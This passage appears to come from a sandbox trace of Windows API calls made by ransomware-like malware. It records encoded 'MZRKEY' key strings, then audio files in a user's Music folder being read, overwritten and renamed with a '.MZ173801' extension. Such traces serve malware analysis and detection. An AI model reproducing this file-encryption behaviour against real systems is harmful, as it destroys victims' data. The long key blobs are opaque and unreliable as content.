YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24fd50c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0158.854] GetCurrentThreadId () returned 0xab4 [0158.854] GetCurrentThreadId () returned 0xab4 [0158.854] GetCurrentThreadId () returned 0xab4 [0158.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x250e56c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.855] GetCurrentThreadId () returned 0xab4 [0158.855] GetCurrentThreadId () returned 0xab4 [0158.855] GetCurrentThreadId () returned 0xab4 [0158.855] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\l5xkq_P4B0Vr6xH.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\jsyf-a6h4bx\\l5xkq_p4b0vr6xh.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.855] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a8*=0) returned 0x0 [0158.855] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.856] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0xe422 [0158.856] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.856] ReadFile (in: hFile=0x27c, lpBuffer=0x2516370, nNumberOfBytesToRead=0xe422, lpNumberOfBytesRead=0x19f1b4, lpOverlapped=0x0 | out: lpBuffer=0x2516370*, lpNumberOfBytesRead=0x19f1b4*=0xe422, lpOverlapped=0x0) returned 1 [0158.857] CloseHandle (hObject=0x27c) returned 1 [0158.858] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\l5xkq_P4B0Vr6xH.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\jsyf-a6h4bx\\l5xkq_p4b0vr6xh.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.891] WriteFile (in: hFile=0x27c, lpBuffer=0x25263a0*, nNumberOfBytesToWrite=0xe422, lpNumberOfBytesWritten=0x19f1c0, lpOverlapped=0x0 | out: lpBuffer=0x25263a0*, lpNumberOfBytesWritten=0x19f1c0*=0xe422, lpOverlapped=0x0) returned 1 [0158.893] CloseHandle (hObject=0x27c) returned 1 [0158.895] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\l5xkq_P4B0Vr6xH.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\jsyf-a6h4bx\\l5xkq_p4b0vr6xh.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\l5xkq_P4B0Vr6xH.m4a.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\jsyf-a6h4bx\\l5xkq_p4b0vr6xh.m4a.mz173801")) returned 1 [0158.896] GetCurrentThreadId () returned 0xab4 [0158.896] GetCurrentThreadId () returned 0xab4 [0158.896] GetCurrentThreadId () returned 0xab4 [0158.896] GetCurrentThreadId () returned 0xab4 [0158.896] GetCurrentThreadId () returned 0xab4 [0158.896] GetCurrentThreadId () returned 0xab4 [0158.896] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e05c710, ftCreationTime.dwHighDateTime=0x1d5f051, ftLastAccessTime.dwLowDateTime=0x1e971d00, ftLastAccessTime.dwHighDateTime=0x1d5e2dc, ftLastWriteTime.dwLowDateTime=0x1e971d00, ftLastWriteTime.dwHighDateTime=0x1d5e2dc, nFileSizeHigh=0x0, nFileSizeLow=0x5102, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="oj2PlKbc7rCn.m4a", cAlternateFileName="OJ2PLK~1.M4A")) returned 1 [0158.896] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.896] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.896] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\oj2PlKbc7rCn.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\jsyf-a6h4bx\\oj2plkbc7rcn.m4a"), fInfoLevelId=0x0, lpFileInformation=0x19f1f4 | out: lpFileInformation=0x19f1f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e05c710, ftCreationTime.dwHighDateTime=0x1d5f051, ftLastAccessTime.dwLowDateTime=0x1e971d00, ftLastAccessTime.dwHighDateTime=0x1d5e2dc, ftLastWriteTime.dwLowDateTime=0x1e971d00, ftLastWriteTime.dwHighDateTime=0x1d5e2dc, nFileSizeHigh=0x0, nFileSizeLow=0x5102)) returned 1 [0158.896] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\oj2PlKbc7rCn.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\jsyf-a6h4bx\\oj2plkbc7rcn.m4a")) returned 0x20 [0158.896] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\oj2PlKbc7rCn.m4a", dwFileAttributes=0x80) returned 1 [0158.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24fd50c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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